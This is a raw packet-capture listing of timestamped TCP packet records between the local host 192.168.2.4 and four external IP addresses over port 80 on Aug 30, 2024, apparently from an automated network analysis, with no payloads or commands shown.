Aug 30, 2024 03:17:07.493129015 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.493139982 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.493149042 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.493149996 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.493159056 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.493163109 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.493187904 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.493213892 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.493819952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.493868113 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.493894100 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.493902922 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.493912935 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.493923903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.493932009 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.493957043 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.493988037 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.493999004 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.494014025 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.494019032 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.494024038 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.494048119 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.494072914 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.494318962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494363070 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494374990 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494395018 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494405985 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494417906 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494431973 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494440079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494457006 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494467020 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494493008 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494497061 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494518042 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494544029 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494570971 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494582891 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494595051 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494604111 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494616032 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494616985 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494630098 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494637966 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494647980 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494653940 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494663954 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494672060 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494690895 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494694948 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494703054 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494714022 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494724989 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494733095 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494738102 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494745016 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494759083 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494760036 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494774103 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494784117 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494791031 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.494791031 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494808912 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.494831085 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495135069 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495210886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495220900 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495229959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495243073 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495255947 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495265961 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495275974 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495280981 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495287895 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495296955 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495309114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495315075 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.495317936 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495335102 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.495342016 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495352983 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495358944 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495362997 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495371103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.495382071 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495397091 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.495399952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495409966 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.495410919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495421886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495428085 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.495441914 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.495449066 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495471954 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495471954 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495496035 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495500088 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495512009 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495522022 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495544910 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495565891 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495598078 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495609999 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495620012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495631933 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495644093 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495663881 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495677948 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495687962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495697975 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495708942 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495714903 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495719910 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495735884 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495750904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495760918 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495762110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495786905 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495790958 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495801926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495811939 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495812893 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495825052 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495839119 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495841026 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495851994 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495863914 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495866060 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495872974 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495886087 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495892048 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495903015 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.495906115 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495932102 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495935917 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.495944977 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495954037 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495965004 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495969057 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.495976925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.495984077 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496005058 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496011019 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496021986 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496033907 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496042967 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496058941 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496078014 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496081114 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496125937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496139050 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496154070 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496161938 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496164083 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496176004 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496191025 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496193886 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496201038 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496212006 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496226072 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496232033 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496244907 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496270895 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496529102 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496537924 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496576071 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496608019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496618986 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496629000 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496640921 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496649027 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496674061 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496676922 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496690035 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496710062 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496715069 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496727943 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496731043 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496742964 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496747971 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496757984 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496758938 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496773005 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496774912 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496787071 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496788979 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496798038 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.496808052 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496819019 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.496838093 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.497114897 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.497124910 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.497162104 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.497167110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.497179031 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.497215033 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.497230053 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.497240067 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.497250080 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.497262955 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.497277975 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.497277975 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.497306108 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.521282911 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521295071 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521316051 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521332026 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521337032 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.521342039 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521353006 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521354914 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.521363974 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521383047 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.521406889 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.521503925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521513939 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521523952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521536112 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521545887 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.521547079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521557093 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521558046 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.521568060 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.521588087 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.521611929 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.534782887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.534794092 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.534804106 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.534845114 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.534852028 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.534857035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.534871101 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.534881115 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.534882069 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.534908056 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.534931898 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.534950972 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.534967899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.534979105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.534989119 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.534989119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.535001993 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.535008907 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.535022020 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.535024881 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.535046101 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.535067081 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.535084963 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.535120010 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.539848089 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.539891958 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.539908886 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.539920092 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.539944887 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.539957047 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.539958000 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.539967060 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.539978027 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.539999008 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.540024042 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.540024042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.540035963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.540071011 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.540832043 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.540842056 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.540852070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.540883064 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.540894985 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.540931940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.540942907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.540952921 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.540965080 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.540975094 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.540975094 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.540987015 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.540997028 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541013956 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541016102 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541023970 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541033983 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541035891 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541043997 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541057110 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541059017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541079998 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541095018 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541100979 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541110992 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541121006 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541130066 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541141987 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541145086 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541152954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541162968 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541167021 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541178942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541186094 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541199923 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541203976 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541213989 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541232109 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541234016 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541249990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541254997 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541260958 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541270971 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541276932 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541289091 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541296005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541300058 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541327953 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541340113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541347027 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541352987 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541373968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541374922 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541382074 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541385889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541394949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541404963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541415930 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541424036 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541450024 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541452885 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541464090 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541496038 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541517019 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541543961 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541553020 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541562080 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541564941 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541574955 CEST	80	49734	147.45.44.104	192.168.2.4
